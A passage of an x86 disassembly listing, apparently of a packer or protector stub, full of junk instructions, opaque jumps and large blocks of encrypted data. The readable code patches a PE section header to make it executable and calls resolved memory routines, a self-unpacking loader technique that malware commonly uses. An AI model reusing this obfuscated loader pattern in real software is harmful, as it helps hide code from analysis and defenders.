; ---------------------------------------------------------------------------


loc_5E328F:				; CODE XREF: .XComp0:005E327Cj
		call	near ptr dword_5E2AA0+64Eh
		clc
		pusha
		jo	loc_5E329E
		mov	dl, 5Eh


loc_5E329E:				; CODE XREF: .XComp0:005E3296j
		mov	ax, di
		popa
		xor	edx, edx
		jmp	loc_5E32AE
; ---------------------------------------------------------------------------
		db 94h,	8Dh, 84h
byte_5E32AC	db 0A2h, 0C0h		; CODE XREF: .XComp0:005E3264j
; ---------------------------------------------------------------------------


loc_5E32AE:				; CODE XREF: .XComp0:005E32A4j
		div	ecx
		jmp	loc_5E32C9
; ---------------------------------------------------------------------------
		db 1Dh,	12h, 0B6h
		dd 0B4F2E98Eh, 10C4120Bh, 0F997175Ch, 600126C7h
; ---------------------------------------------------------------------------
		push	eax


loc_5E32C9:				; CODE XREF: .XComp0:005E32B0j
		mov	eax, edx
		pusha
		jmp	loc_5E32DD
; ---------------------------------------------------------------------------
		db 0F6h, 50h, 0D9h
		dd 606EE056h, 755817C7h
		db 67h
; ---------------------------------------------------------------------------


loc_5E32DD:				; CODE XREF: .XComp0:005E32CCj
		popa
		pusha
		mov	esi, 0E03FC87h
		mov	si, 0C9DCh
		popa
		pop	edx
		jnb	loc_5E32F8
		jno	loc_5E32F8
		pusha
		popa


loc_5E32F8:				; CODE XREF: .XComp0:005E32EAj
					; .XComp0:005E32F0j
		pop	ecx
		cmc
		retn
; ---------------------------------------------------------------------------
		stc
		mov	eax, eax
		pusha
		mov	ch, 0B4h
		jz	loc_5E331A
		jmp	loc_5E331A
; ---------------------------------------------------------------------------
		dd 1770A865h, 4C8C3C4Bh, 0D9593F95h
		db 0DDh, 96h
; ---------------------------------------------------------------------------


loc_5E331A:				; CODE XREF: .XComp0:005E3301j
					; .XComp0:005E3307j
		popa
		mov	eax, eax
		cmc
		lea	eax, [ebp+60044F2h]
		jge	loc_5E3331
		jge	loc_5E3331
		cmc


loc_5E3331:				; CODE XREF: .XComp0:005E3324j
					; .XComp0:005E332Aj
		call	eax
		jz	loc_5E334B
		pusha
		jmp	loc_5E3344
; ---------------------------------------------------------------------------
		db 2Ah
		dd 20E04872h
; ---------------------------------------------------------------------------


loc_5E3344:				; CODE XREF: .XComp0:005E333Aj
		jle	$+6
		popa


loc_5E334B:				; CODE XREF: .XComp0:005E3333j
		mov	ax, cx
		cld
		lea	eax, [ebp+6007B01h]
		jmp	loc_5E3367
; ---------------------------------------------------------------------------
		dw 0AA02h
		dd 0CDFFE3EBh, 102624E6h
; ---------------------------------------------------------------------------
		dec	esi
		inc	esp
		xchg	eax, edx


loc_5E3367:				; CODE XREF: .XComp0:005E3355j
		mov	[ebp+5F92045h],	eax
		jmp	loc_5E3381
; ---------------------------------------------------------------------------
		dw 38D9h
		dd 0B55ED9C8h, 8AA6A076h, 96A58CE3h
		db 3
; ---------------------------------------------------------------------------


loc_5E3381:				; CODE XREF: .XComp0:005E336Dj
		jmp	loc_5E3397
; ---------------------------------------------------------------------------
		dw 18A2h
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax]
; ---------------------------------------------------------------------------
		dw 6518h
		dd 3D872501h, 3C1F26h
		db 6Eh,	40h, 88h
; ---------------------------------------------------------------------------


loc_5E3397:				; CODE XREF: .XComp0:loc_5E3381j
		lea	eax, [ebp+6007C40h]
		jnp	loc_5E33A4
		clc


loc_5E33A4:				; CODE XREF: .XComp0:005E339Dj
		mov	[ebp+5F92021h],	eax
		cmc
		mov	eax, 0
		jmp	loc_5E33BE
; ---------------------------------------------------------------------------
		db 7, 0C4h, 77h
		dd 0D943E788h
		db 97h,	3Bh
; ---------------------------------------------------------------------------


loc_5E33BE:				; CODE XREF: .XComp0:005E33B0j
		or	eax, eax
		jz	loc_5E3557
		jmp	loc_5E33D0
; ---------------------------------------------------------------------------
		db 8Dh
		dd 3BB9AA08h
; ---------------------------------------------------------------------------


loc_5E33D0:				; CODE XREF: .XComp0:005E33C6j
		pusha
		and	ah, 88h
		mov	dl, 15h
		popa
		mov	byte ptr [ebp+5F91899h], 56h
		pusha
		mov	si, cx
		cmc
		popa
		push	0A9C530DFh
		jmp	loc_5E3401
; ---------------------------------------------------------------------------
		dw 4B7Bh
		dd 74850930h, 56B805DCh, 0DF142CB1h, 669025C0h
		db 13h
; ---------------------------------------------------------------------------


loc_5E3401:				; CODE XREF: .XComp0:005E33E9j
		push	dword ptr [ebp+5F908D1h]
		jmp	loc_5E3420
; ---------------------------------------------------------------------------
		dd 8D6F4461h, 4A3036BDh, 0CDAB1356h, 5E5A39DAh,	0CFB0FFF0h
; ---------------------------------------------------------------------------


loc_5E3420:				; CODE XREF: .XComp0:005E3407j
		lea	eax, [ebp+5FCC510h]
		pusha
		jmp	loc_5E343D
; ---------------------------------------------------------------------------
		dd 4B0E063Eh, 0CC5743E5h, 32B8A180h, 914A1D17h
		db 0E4h
; ---------------------------------------------------------------------------


loc_5E343D:				; CODE XREF: .XComp0:005E3427j
		clc
		popa
		call	eax
		pusha
		clc
		popa
		pusha
		mov	ebx, ecx
		pusha
		js	$+6
		jb	$+6
		popa
		popa
		push	eax
		jmp	loc_5E346D
; ---------------------------------------------------------------------------
		dd 0D2181FE2h, 0B9A3F4F9h, 82EED422h, 0EB187EDEh
		db 39h
; ---------------------------------------------------------------------------


loc_5E346D:				; CODE XREF: .XComp0:005E3457j
		cmc
		lea	ecx, [ebp+5F9148Dh]
		stc
		push	ecx
		cmc
		push	4
		pusha
		mov	ebx, 188E321Ch
		stc
		popa
		push	1000h
		jmp	loc_5E3493
; ---------------------------------------------------------------------------
		db 53h
		dd 0B3F489DFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FAh, 23h
; ---------------------------------------------------------------------------


loc_5E3493:				; CODE XREF: .XComp0:005E3486j
		push	dword ptr [ebp+5F914CDh]
		jmp	loc_5E34A9
; ---------------------------------------------------------------------------
		sub	[ecx+19E5F9E5h], bl
		dec	esi
		mov	bl, 1Dh
		mov	es, si


loc_5E34A9:				; CODE XREF: .XComp0:005E3499j
		call	eax
		jle	loc_5E34BE
		jmp	loc_5E34BE
; ---------------------------------------------------------------------------
		dw 89EAh
		dd 0C4E8E129h
; ---------------------------------------------------------------------------
		mov	dh, 0B8h


loc_5E34BE:				; CODE XREF: .XComp0:005E34ABj
					; .XComp0:005E34B1j
		mov	edi, [ebp+5F914CDh]
		pusha
		pusha
		cld
		mov	bx, ax
		popa
		jmp	loc_5E34DC
; ---------------------------------------------------------------------------
		dd 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch
; ---------------------------------------------------------------------------


loc_5E34DC:				; CODE XREF: .XComp0:005E34CBj
		popa
		pusha
		and	ecx, 1E37C6E1h
		mov	ecx, 15C574B7h
		popa
		add	edi, [edi+3Ch]
		jp	loc_5E34FD
		jmp	loc_5E34FD
; ---------------------------------------------------------------------------
		dd 14FE6426h
		db 0D1h
; ---------------------------------------------------------------------------


loc_5E34FD:				; CODE XREF: .XComp0:005E34EDj
					; .XComp0:005E34F3j
		pusha
		jnb	loc_5E351D
		jmp	loc_5E351D
; ---------------------------------------------------------------------------
		db 18h,	42h, 71h
		dd 3F5BEE9Fh, 82C3BBCFh, 3ACF5821h, 0E4AA5541h
		db 3Ch
; ---------------------------------------------------------------------------


loc_5E351D:				; CODE XREF: .XComp0:005E34FEj
					; .XComp0:005E3504j
		movsx	edi, ax
		popa
		add	edi, 0F8h
		jmp	loc_5E3533
; ---------------------------------------------------------------------------
		dd 1BCF9F18h
		db 0C1h, 75h, 26h
; ---------------------------------------------------------------------------


loc_5E3533:				; CODE XREF: .XComp0:005E3527j
		mov	dword ptr [edi+24h], 60000020h
		pusha
		call	near ptr loc_5E354E+1
		sub	[esp+edx*2-0Ah], ebp
		aaa
		mov	ch, 25h
		xor	ebp, esp
		jo	short loc_5E3556
		scasb
		lock das


loc_5E354E:				; CODE XREF: .XComp0:005E353Bp
		and	[esi-75h], ah
		ficomp	dword ptr [edi-80h]
		in	eax, 0A8h	; Interrupt Controller #2, 8259A


loc_5E3556:				; CODE XREF: .XComp0:005E3549j
		popa


loc_5E3557:				; CODE XREF: .XComp0:005E33C0j
		lea	ebx, [ebp+5F92129h]
		jmp	loc_5E3569
; ---------------------------------------------------------------------------
		dw 0BB38h
; ---------------------------------------------------------------------------
		retf	909Dh
; ---------------------------------------------------------------------------
		db 8Eh
		db 0A3h
; ---------------------------------------------------------------------------


loc_5E3569:				; CODE XREF: .XComp0:005E355Dj
		cld
		mov	eax, [ebx]
		jle	loc_5E3579
		jz	loc_5E3579
		clc


loc_5E3579:				; CODE XREF: .XComp0:005E356Cj
					; .XComp0:005E3572j
		or	eax, eax
		jz	loc_5E35A7
		pusha
		cmc
		popa
		mov	eax, [eax]
		jz	loc_5E35A3
		jmp	loc_5E35A3
; ---------------------------------------------------------------------------
		db 82h,	1Bh, 8Ah
		dd 97FE3946h, 4E124506h, 0D6779F6h
; ---------------------------------------------------------------------------
		adc	al, 3Eh
		sahf


loc_5E35A3:				; CODE XREF: .XComp0:005E3586j
					; .XComp0:005E358Cj
		mov	[ebx+4], eax
		stc


loc_5E35A7:				; CODE XREF: .XComp0:005E357Bj
		mov	ecx, 234CF6h
		call	near ptr loc_5E35BD+1
		inc	esp
		aam	58h
		or	[edi+714CC855h], cl
		loope	near ptr dword_5E35DC
		dec	ecx


loc_5E35BD:				; CODE XREF: .XComp0:005E35ACp
		mov	fs, word ptr [eax-17h]
		or	al, 0
; ---------------------------------------------------------------------------
		dw 0
		dd 8E18AB40h, 0FDB1F5Bh, 4EF2E51h, 800Fh, 5A610000h, 8800Fh
dword_5E35DC	dd 66600000h, 0B10119BFh, 0C2816133h, 6154h, 181968h, 0BE665600h
					; CODE XREF: .XComp0:005E35BAj
		dd 595F4344h, 65E6C881h, 32FF6C4Bh, 4810Fh, 0B8660000h
		dd 0E85B138Ah, 5, 76AFFF75h, 84EF81DAh,	5E752E8Fh, 3920F381h
		dd 0EE83A91h, 0CA000000h, 1DE2AA83h, 54B78827h,	7D49A113h
		dd 0AE95261h, 0D5000000h, 689F9BB7h, 0FD108B93h, 815E5FF4h
		dd 51079EEBh, 10E934h, 2B880000h, 1CBCFAD2h, 312F67FBh
		dd 75A799FAh, 0EB81182Ch, 6DDC4615h, 0E91A89F5h, 9, 83402F90h
		dd 3AA5E898h, 9EEA81EFh, 0F6B7B72h, 0C281FEB7h,	6B7B729Ah
		dd 0F01E983h, 0FFFF6D85h, 0FE9FFh, 57180000h, 0CB46FC4Bh
		dd 0FBACA562h, 5DCDD457h, 1FE911h, 0AFD00000h, 9Dh, 6 dup(0)
		dd 701E900h, 8F680000h,	0E9060082h, 0FFF8FE22h,	831768h
		dd 0FE18E906h, 3068FFF8h, 0E9060085h, 0FFF8FE0Eh, 3DDF328Dh
		dd 23D9369Ah, 37ED16C4h, 22DA2B90h, 4CF017C3h, 0D0FCBBF6h
		dd 0FCE20537h, 0E30AED0Fh, 0F6D7FE26h, 3AFFE517h, 96056019h
		dd 0C168DD23h, 7B729736h, 8CB288AEh, 9A72A760h,	1D63F66Ah
		dd 91410A4Dh, 0A1ADE3C9h, 4D848765h, 0C07940A9h, 9681EA93h
		dd 8F806029h, 0DDC722Fh, 0B3A75DB0h, 0EA21CB25h, 46FB36E3h
		dd 8FACB115h, 0DDFDCF2Fh, 0EC353666h, 0EE76775Dh, 6AC2BE81h
		dd 7E6F2CC4h, 739C44BBh, 0B30970E3h, 6687239Ch,	9C4126A7h
		dd 0FDE87C71h, 1CF30DD1h, 8E64F8CEh, 8B2148D6h,	0FC000004h
		dd 0A6631645h, 6E0239Ch, 0DE94A049h, 1D31F89Fh,	30A7F117h
		dd 96C57CA6h, 2F8F9E78h, 0DA810E06h, 4DE7016Ch,	0AD5451A9h
		dd 575EAB12h, 6ECB6C82h, 78A16C51h, 9CE7A2DBh, 0CC621F23h
		dd 24E7579h, 86E27421h,	0C24D7168h, 0E2D31ECBh,	0C0DEA507h
		dd 72DC36BDh, 0BDD182B7h, 4B2C3023h, 8D0009B4h,	0DC441AAh
		dd 4F4050A7h, 4CE291AAh, 0B542F7A4h, 2CFDF013h,	0DF49E10Ah
		dd 46836B51h, 0D06CA138h, 7138BD74h, 3DE097E2h,	0A2671420h
		dd 0CC87B267h, 203DE0B1h, 6D9C3F2Eh, 0D678B168h, 5E59A059h
		dd 0D708B80h, 98203DE1h, 5744D475h, 0C2BF1F0Ch,	56C6192Ch
		dd 9A772637h, 44E20079h, 2C807D1Ah, 67C4D0E5h, 1FDA0FF6h
		dd 3DD13298h, 10AE49F0h, 0A1619FBh, 0F0B8C8A5h,	0DF2E8F5Eh
		dd 0D8359A3Dh, 732C7CFBh, 90959EBBh, 49Ah, 0D2FE2FDh, 0D30906EAh
		dd 73DC6F4h, 0D20AFBE0h, 9C40C7F3h, 0A04C0B86h,	0AC12B567h
		dd 0B31ABD5Fh, 0A647AE56h, 6A0FB567h, 9603D0A9h, 0D8984D23h
		dd 4A8731CEh, 0B36667A4h, 8CA2777Eh, 0E51C46D0h, 0A114F1DAh
		dd 1EEDCFC8h, 0FF2CC297h, 0F46BD23Ah, 0F7C63DAh, 0CEE4CFFh
		dd 34F12F96h, 4DCAF20Dh, 8AE5CDC7h, 0EB084002h,	23956092h
		dd 25D7120Fh, 0E8ED1AC2h, 95601D5Bh, 0CD409D23h, 23E571EEh
		dd 0A392A3B2h, 412h, 85B75A75h,	6B917E62h, 7FA55E8Ch, 6A927358h
		dd 74A85F8Bh, 8834639Eh, 547A5D7Fh, 7B6285B7h, 4E6F568Eh
		dd 2B71DBFh, 96022851h,	8040A523h, 4AE946CEh, 5B0772A1h
		dd 97842996h, 45C45B35h, 0DA23B5B1h, 0C53CCD11h, 0F128E169h
		dd 74DEC448h, 0D413587Bh, 0F38BEE2Dh, 1B082995h, 73E258FBh
		dd 0D9202F96h, 728AF320h, 1A072395h, 957280F9h,	9E3FD23h
		dd 5C831651h, 7C749A4Fh, 6EAD704Dh, 23951D0Bh, 5F569B88h
		dd 329A3F8Ah, 50315754h, 4B947881h, 898E7606h, 0B0797284h
		dd 79AFCA89h, 6F2C2395h, 7A0D6CDFh, 21EC2395h, 559F5135h
		dd 5F584B2Eh, 0AA000002h, 6FAA638Ch, 79856388h,	2474623Ah
		dd 309C03CEh, 0BAE37D7h, 0D4EC7F4h, 2995D46Ch, 0F53CE9h
		dd 9E60529h, 971EEBD2h,	0E5D207C2h, 0DE8B0205h,	0DC4AFE38h
		dd 53795B86h, 505FA04Fh, 0B8C15287h, 35299630h,	0B089A648h
		dd 6568A747h, 93AFA2B4h, 862F8F62h, 0A6F1499h, 0E9239CFFh
		dd 88876750h, 0A34B9766h, 0FEBCBD5Eh, 4C39239Ch, 91378868h
		dd 0AF3F7CC9h, 0D640865Ah, 68F34E48h, 239D6415h, 0A5819592h
		dd 49h,	0AC5B7F78h, 69FFB48Ah, 0CEEF0831h, 0D182AF3Fh
		dd 2F8F9859h, 0A7528774h, 9D73116Ch, 7D918E23h,	729ADF64h
		dd 0C079239Dh, 7C569237h, 5C63B9F1h, 0B352E42Dh, 0D70507A7h
		dd 5CF804ADh, 39B358FEh, 0FE48D635h, 0DAh, 0AA638C48h
		dd 6F984423h, 0D586BB7Eh, 299685A4h, 6055B21Ah,	0C6681589h
		dd 9247C627h, 0C51BC83Ah, 5EF03888h, 0D03DA285h, 3A43D029h
		dd 0B72995F8h, 470A24CAh, 2995FD10h, 0FC20EDD2h, 0CE37A41Bh
		dd 70AA3C28h, 0E4DC8AC9h, 52BA2F91h, 3C756CC8h,	0AA52E4B0h
		dd 0FBB44FDh, 1224F5F8h, 0D5329A25h, 0E229932Ch, 1E183EEBh
		dd 2ADFFEF9h, 0C01964EFh, 0E9962399h, 0D146A645h, 99C03742h
		dd 0D0C7B423h, 0FBAE1FF0h, 4FEE536h, 0EB04B1DEh, 1F90Ah
		dd 9C755C00h, 0AE617D68h, 9A694F76h, 0AF568362h, 85826A8Dh
		dd 0F4CC55Fh, 3DA85CABh, 0DB86C9Fh, 3EA95BAEh, 0AB86CA1h
		dd 0CBAE6Dh, 0A3482396h, 75608CE5h, 0C67EB356h,	0AD4FBE1Fh
		dd 0D3A6B58Ch, 49299685h, 887569A4h, 31CED066h,	7E6D818Ch
		dd 0B6537A61h, 664EC67Bh, 29A6FFA6h, 280FD87Eh,	399B46C7h
		dd 0E271E337h, 2995B397h, 83856714h, 5FD97DD5h,	6B9E3DBAh
		dd 0C39FAF6Ah, 3DA21D55h, 0EF0CDDD0h, 2995B58Eh, 0B5641546h
		dd 24E12995h, 0F6DAC5C2h, 0D029D019h, 850807E7h, 520F42D4h
		dd 422F8F04h, 66215CF7h, 0E19E239Ch, 2AC6A54Dh,	4CF52CE5h
		dd 8D0007B3h, 664E2FECh, 0DECB239Ch, 0C8F40313h, 837C9D3Fh
		dd 3B3CB158h, 0A376778Eh, 0F085C86Eh, 6E239C66h, 5D88BC51h
		dd 0B3416D7Dh, 0C113F6D5h, 98C330EDh, 239C50E5h, 0A56CA562h
		dd 0B35A837Ch, 1EC76742h, 0FD17h, 69FF6900h, 22310831h
		dd 29968557h, 0A81EF1CDh, 852D500Bh, 0FDAA2996h, 0EC152234h
		dd 8967BF15h, 624E7C20h, 95FEA8D1h, 0D6782529h,	967FC373h
		dd 2330092Fh, 23957E5Ah, 0F14232E5h, 0A519772Fh, 0E19E56F8h
		dd 0FF1EBF38h, 95472954h, 30F9A623h, 0F2E322C7h, 0E9CE1737h
		dd 721EC04h, 3E71C810h,	49A651F3h, 1E42D1C4h, 0C62A3299h
		dd 0BECE126h, 0C8AF26DDh, 39F0E526h, 68362453h,	0E8C412E5h
		dd 21EAD407h, 0E61DCBACh, 1465F62Bh, 911CF849h,	40A75D94h
		dd 69967E9Fh, 99B0542Ah, 99E495A6h, 87611CF7h, 0DA9BF53Ch
		dd 12D71278h, 1FF0D0E7h, 925BFBAEh, 1DEED0E7h, 79AEFEB7h
		dd 8AAC0264h, 6877E6Bh,	53598584h, 0D5A8B36Ah, 601CF812h
		dd 0AAA243A7h, 0F1AE10B2h, 0D6F60138h, 0F6131D31h, 529E409h
		dd 0DD0409E6h, 0FD11FEE2h, 0C01E4h, 0D4380000h,	0D9FBF03Eh
		dd 7DC353E8h, 658C390Fh, 0A13E29ACh, 5F7E696Ch,	9A4423AAh
		dd 4F7B7C71h, 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h
		dd 681BCCC1h, 18Fh, 68243489h, 1919h, 68240C89h, 1D49h
		dd 0B9241489h, 75892727h, 8105E9C1h, 90811E1h, 22E98147h
		dd 0F76B6F1Ch, 3EBD55D9h, 8103F75Fh, 0E86A46EDh, 81D5F73Ah
		dd 1C7DA6CDh, 2CCD8117h, 0D11E5C0Eh, 19ED81EDh,	21CF02BFh
		dd 0F1815DE9h, 466480EFh, 24148B54h, 4C481h, 2F680000h
		dd 89000002h, 428F240Ch, 24148B08h, 81E38953h, 4C3h, 4C38300h
		dd 5C241C87h, 592434FFh, 4C481h, 2FE90000h, 34FFF8F7h
		dd 0B818F4A0h, 600874Eh, 0E0FFC503h, 3D7D9B39h,	13F495D1h
		dd 2DE1CEC2h, 375E417Eh, 46DBE714h, 34EAA451h, 1C7469E5h
		dd 566E921h, 225A6599h,	4140187Ch, 2F27705Dh, 456AFACAh
		dd 3304B8EFh, 63068620h, 2523CE57h, 74017DA3h, 5FED7032h
		dd 69ADCF40h, 5EDCD52Ch, 4620835h, 27E9h, 6713AB00h, 58h
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E4711
; ---------------------------------------------------------------------------
		db 20h,	0C1h, 50h
		dd 6AA549ACh, 5EA513B2h, 6B9A3FA6h, 59AE0EB9h, 631091A3h
		dd 896C9077h, 5174A863h, 5A7D9F6Ah, 7E649875h, 0FDDF9AB9h
		dd 0E75C2395h, 0F013B542h, 0AF26E507h, 0CEDE54FAh, 0B828D31h
		dd 6359765Eh, 0C370FBA4h, 0D51BC433h, 1C2A4511h, 7A7BB6DDh
		dd 79815DAFh, 0C3559DCAh, 2BFEEF16h, 39A150E6h,	2DEE13CEh
		dd 2996354Ch, 35265704h, 0E6A32996h, 49F30300h,	7FFA19E0h
		dd 0FC299635h, 0D13298FFh, 0AE90DDCh, 48F128E5h, 9635720Bh
		dd 1C32EF29h, 12FBE4C3h, 0DB349C9Bh, 0D42F9926h, 8508FFEBh
		dd 34A942D4h, 60571743h, 4F0A8B7Ch, 4C8F30BFh, 0B36667A0h
		dd 0BC1FC67Eh, 8D30974Dh, 35AECF8Ch, 0B5662996h, 299635C4h
		dd 0A5624441h, 607E696Ch, 0C99E76ABh, 0EFC704B7h, 0E62BDEFDh
		dd 30909750h, 0E309EEDFh, 2057A528h, 69D66C32h,	14996E4Eh
		dd 452B145h, 0AB12C528h, 4782575Eh, 72A07495h, 18494FFEh
		dd 9B44B343h, 0C8A8D182h, 78252995h, 27839A94h,	12D79CDDh
		dd 1CEDD0E7h, 50ECC099h, 7B80D946h, 0CAD36D8h, 0AD41C8F3h
		dd 958BDC9Ah, 65785829h, 44498083h, 73A07763h, 29958C0Ah
		dd 5E4F9A87h, 2B014DBCh, 42864BC2h, 4BB8229Dh, 380E5CABh
		dd 4D2FA7A4h, 0ED61h, 7A85BC00h, 0D4A5B653h, 5129957Fh
		dd 8C7CC254h, 0D47FBA63h, 299685A9h, 9FDA7926h,	1C299685h
		dd 886FAA5Fh, 548DA162h, 0CEAF6C95h, 44299685h,	0B2676E97h
		dd 8CBF4F4Ch, 299685EFh, 5888369h, 484DBA22h, 0F8F4E2D5h
		dd 0EABF36D7h, 0D806E11Fh, 2F5D72EEh, 14B5424Dh, 1C15DF1h
		dd 23000000h, 808B31CEh, 3BBA5C0Dh, 0B0797C93h,	8733A447h
		dd 955C0D80h, 0C14E7281h, 47D42DCCh, 29968536h,	0D5C942ACh
		dd 85621B38h, 22DF2996h, 43A847E7h, 3EAC2F90h, 0D019D0C5h
		dd 1CC50CDDh, 854336E5h, 39CE2996h, 0CF4E343Ah,	52775648h
		dd 0A26742B3h, 6654538Ch, 0AA0F189Dh, 13E25A5Bh, 91EC27C7h
		dd 0E29959Fh, 9455D811h, 4F46BD2Bh, 5985749Ah, 44C12A95h
		dd 77769851h, 8B81B857h, 0FA9DC152h, 0D660F61Ah, 9A3FCEEFh
		dd 0A549BC1Dh, 608CB58Bh, 7C8326A7h, 0A3648853h, 9CB27732h
		dd 6DAE714Dh, 2996860Ch, 0AC559C89h, 85B3C655h,	73302996h
		dd 777A4CA1h, 0A1B5A05Fh, 8C7B5F48h, 4BC01E09h,	0D703F24Ah
		dd 3C2AFD07h, 0A6698572h, 8E796190h, 58836C53h,	4E1B9273h
		dd 0A2571283h, 96500871h, 76988529h, 59B419BCh,	9E655354h
		dd 376E7163h, 0E484CCBDh, 1FE110h, 45E9143Dh, 0A7309B9Ch
		dd 19D0C544h, 0F3DADDD0h, 484F526h, 4012996h, 0CB42C8CDh
		dd 39BF9Fh, 2135D4F7h, 0AE12F4E2h, 164D2FDDh, 0CEC944A9h
		dd 0C59419EEh, 0E3F531h, 8C4F0000h, 9A72A760h, 6337629Eh
		dd 0CC153985h, 0B0E9FDEBh, 1DE56B2Eh, 0B9D1A152h, 0F4F06853h
		dd 8425B83Dh, 6E9B42BDh, 0D8A1B267h, 4E2995B0h,	4415986Dh
		dd 7291A562h, 8C2DCA64h, 46737479h, 0D61BCEBFh,	0FE09B140h
		dd 710BC43h, 95B0314Ch,	38F1AE29h, 4FB1C16h, 0CF1E30D9h
		dd 300EAEBh, 0A7EBBA92h, 0AF6623AAh, 393EAF7Ah,	72994390h
		dd 7263AE7Bh, 7B331FE6h, 9DB15A84h, 2F7C0468h, 0A5A14Dh
		dd 837C0000h, 999FAF56h, 72A7608Ch, 31A46785h, 0AE5D7F78h
		dd 75585F88h, 69526D94h, 0A7717A9Ch, 81973A92h,	0F35A27F6h
		dd 0F8B6A463h, 0A671241h, 5E42996h, 0FDAC21E4h,	0DE54E034h
		dd 1AC62EEDh, 0D5F5F4h,	3EE32EDFh, 4F25ED6h, 96122657h
		dd 0EE6A329h, 9540EFA5h, 9549F4BBh, 40FA1CD5h, 8831CEDEh
		dd 0B61AD97Dh, 6C955459h, 85F38695h, 0B3702996h, 9685D5A8h
		dd 0B8235229h, 0D3769851h, 299685A7h, 6253BA23h, 21947755h
		dd 5C025037h, 8925318Ch, 0F33CF483h, 48EEEA36h,	2F2629C3h
		dd 1EE4Dh, 0CE380000h, 0D808B31h, 8D3BBA5Ch, 7B66C059h
		dd 0B81F8B15h, 2DFCF112h, 57043DE4h, 29959B26h,	9750E6A3h
		dd 40AC2F90h, 0F8B02C7h, 0F0DAD200h, 0C50CF7E1h, 4336E51Ch
		dd 0C029959Bh, 1BF4DCC3h, 52FBF9Ah, 6297C355h, 4EBF2097h
		dd 0BD89A5A8h, 0E0D72F8Eh, 0CB9E0F00h, 3AA4D32Bh, 0C40DDCD1h
		dd 4637E41Dh, 0C3239C7Ah, 0F2B730C6h, 5BD7651Ah, 4415986Fh
		dd 0C6878070h, 887D001Bh, 0DFA239Bh, 28E50AE9h,	0E4201BF1h
		dd 0C2C70AAFh, 0FAE3022Ch, 0D785F823h, 1502239Bh, 9BD77306h
		dd 0FE33F023h, 0A72ED901h, 0F50237F2h, 0EABF36D9h, 0E1DE9B44h
		dd 4AFD11FCh, 239BD72Dh, 94AEFC8h, 239BD770h, 0DF1E30EDh
		dd 16C43BF3h, 0CC14E8EDh, 0D60F54Eh, 0EDD71B8h,	1AA55CB1h
		dd 8A5F56B3h, 946DCA64h, 9C0CF687h, 0A0B67323h,	78A16C51h
		dd 27AE5D7Fh, 0A4678572h, 27905992h, 9E4B42C1h,	9C547978h
		dd 0AFA8C429h, 0CBC20714h, 0BA59A059h, 239BF4BFh, 50AF3F3Ch
		dd 16C52A02h, 0C9B45FB4h, 46239BF4h, 4C1D9059h,	3A785C85h
		dd 0FBB2B787h, 9CCECFCDh, 0A46DB381h, 787FA892h, 6DA2B455h
		dd 48D5BFF3h, 1B4B4h, 4E708700h, 0CD6138BDh, 3169FF67h
		dd 913F4B08h, 0E5A22F8Fh, 0EE15C33Ch, 681142E7h, 0E5239D79h
		dd 845DF138h, 2ED33AA3h, 0F6DE2991h, 0F5731D8Ah, 151F2F6Bh
		dd 6CE30DB2h, 922BBBACh, 51B61681h, 79566198h, 0C0698294h
		dd 0E2749337h, 7263AA13h, 2FA66985h, 7065A648h,	679C3EB9h
		dd 7F6BA266h, 94C2A59Fh, 34981FDAh, 0EC07E2D3h,	239CA191h
		dd 0EEFD110Eh, 1F083CD1h, 47C26CADh, 799A11F2h,	239CD200h
		dd 6349807Dh, 0D7A09987h, 0AFF0F7Ch, 48D64556h,	6E0Fh
		dd 6E5D200h, 0FF4DF303h, 34DB0365h, 5EFD44FDh, 2996851Bh
		dd 853548D3h, 0F5B22996h, 35021411h, 96853326h,	29942BA9h
		dd 0E30AEDE0h, 2FFAAF26h, 0EF2AD71Fh, 0FD87CE1Dh, 0DB7BDCB5h
		dd 0ECF88112h, 2603A995h, 34DA3599h, 9C0699C5h,	5459B21Ch
		dd 67A26953h, 81DC77A2h, 3E2995ECh, 965BAA0Fh, 0B7856Eh
		dd 4BB40000h, 759A369Fh, 0CEA49ABCh, 8595E873h,	15122996h
		dd 0A7F36501h, 86A1E172h, 0C5472F8Fh, 0B5D0A293h, 0E58BB45Bh
		dd 0BDD0FF6h, 0DBC830C6h, 2DF0CDDAh, 9CED8BEEh,	0D61B0823h
		dd 0E726C72Eh, 12BC43E6h, 22E726C7h, 0EE3B390Ch, 0B1DC239Ch
		dd 233009A5h, 239CEC5Ah, 0E5042AD7h, 6BDF0508h,	0D3A6B5FDh
		dd 49239CECh, 87746AA5h, 0AA5FB010h, 0A162886Fh, 4673A08Dh
		dd 86299D75h, 3EB95479h, 0B465689Dh, 527B5AA2h,	787F76BBh
		dd 7C5A9957h, 4B1E0559h, 848B0F86h, 0D15FC956h,	0A4981DE8h
		dd 0A06AA42Fh, 0AA5FAA94h, 0FCD5E46Fh, 10DA239Ch, 82F578ECh
		dd 0B1539E9Ah, 0FF69FF8Fh, 9B12EDDh, 330E33FEh,	55E61FCCh
		dd 29968524h, 0E552E4A1h, 970D7F36h, 6297842Fh,	7B637855h
		dd 81585D94h, 4A73746Dh, 87DD0EA6h, 0BD74BD88h,	9A4E7B84h
		dd 0AD97AA3Eh, 0EBE22732h, 0F21DC13Eh, 2E082EFBh, 3ACFEE09h
		dd 0A150E6B3h, 1DDCD13Ch, 424637E4h, 0A9C32396h, 0CB504043h
		dd 967EB3BFh, 198DF630h, 0EC5FEF30h, 81FDB2C7h,	0AC21ECD1h
		dd 0E4E920CBh, 0AD715D98h, 0A983CFA8h, 3F3AD944h, 0B5C52EAEh
		dd 2EFBF215h, 0DE06CBB8h, 0C47D6F7h, 0C52EAE71h, 0F5F831EEh
		dd 53CC9F2h, 0CB39510Fh, 2F38ED90h, 57BD6AC5h, 3BDB5F81h
		dd 0E124C5B2h, 26DD0BECh, 1D493EAFh, 452B941h, 9E46C728h
		dd 0EA93C079h, 67C52F2Fh, 785594BAh, 300376A5h,	8380C52Fh
		dd 799B2A31h, 0C30EB802h, 4538E31Eh, 0C2C52E98h, 0ADB831C5h
		dd 3, 8C390F13h
		dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh
		dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 81E68956h
		dd 4C6h, 4B85000h, 29000000h, 348758C6h, 11685C24h, 8900000Fh
		dd 89512404h, 4C181E1h,	83000000h, 0C8704E9h, 1C895C24h
